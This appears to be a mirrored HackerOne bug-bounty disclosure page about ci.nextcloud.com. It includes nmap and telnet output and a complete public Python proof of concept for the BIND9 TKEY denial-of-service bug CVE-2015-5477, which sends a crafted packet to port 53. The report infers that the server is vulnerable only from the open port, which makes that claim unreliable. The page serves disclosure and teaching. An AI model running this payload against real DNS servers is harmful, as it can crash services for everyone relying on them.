Skip to content
DoS Disclosed report Beginner CVE-2015-5477

ci.nextcloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)

The reporter notes the DNS port on ci.nextcloud.com is open and links a public CVE-2015-5477 BIND9 exploit, suggesting a possible denial of service.

0xawais Follow

Originally disclosed on HackerOne

  • Triaged in 16 hours
  • Fixed in 18 hours
  • Disclosed after 18 hours

Hello Team NextCloud,

In reference report #217381 I've reported the DDOS attack via DNS Port at OwnCloud.. And it was successfully patched.

But now same issue I got at

ci.nextcloud.com

Proof Of Concept: Here it is the nmap result of ci.nextcloud.com

NMap Scan Results:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-08 04:12 PKT
Nmap scan report for ci.nextcloud.com (█████)
Host is up (0.077s latency).
rDNS record for █████████: ███████
Not shown: 96 filtered ports
PORT    STATE SERVICE    VERSION
22/tcp  open  tcpwrapped
53/tcp  open  tcpwrapped
80/tcp  open  tcpwrapped
443/tcp open  tcpwrapped

Now here it is the telnet result:

──╼ $telnet
telnet> open
(to) ci.nextcloud.com 53
Trying ███...
Connected to ci.nextcloud.com.
Escape character is '^]'.

So this can leads to a serious DDOS attack at doc.owncloud.com using the exploit..

Exploit Link:

https://github.com/elceef/tkeypoc/

Vulnerability Reference CVE Details:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5477

Exploit PoC:

Exploit Title: PoC for BIND9 TKEY DoS

Exploit Author: elceef

Software Link: https://github.com/elceef/tkeypoc/

Version: ISC BIND 9

Tested on: multiple

CVE : CVE-2015-5477

!/usr/bin/env python

import socket
import sys

print('CVE-2015-5477 BIND9 TKEY PoC')

if len(sys.argv) < 2:
print('Usage: ' + sys.argv[0] + ' [target]')
sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))

print('Done.')

Thanks :)

The original report as published on HackerOne, by 0xawais. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the DNS server is running an outdated version of BIND9 that is vulnerable to CVE-2015-5477.

What the attacker needed

Network access to port 53; vulnerable BIND9 version

How it was found

  1. Scan the target with nmap to find open ports.
  2. Connect to port 53 using telnet to confirm it is reachable.
  3. The report links a public exploit for CVE-2015-5477.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A DNS server translates website names into IP addresses. This report says the server software (BIND9) has a known bug that lets someone send a special network message to make it stop working, which is a denial of service. The reporter only checked that the DNS port was open and did not actually run the exploit.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by 0xawais

View all

1 more disclosed report, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.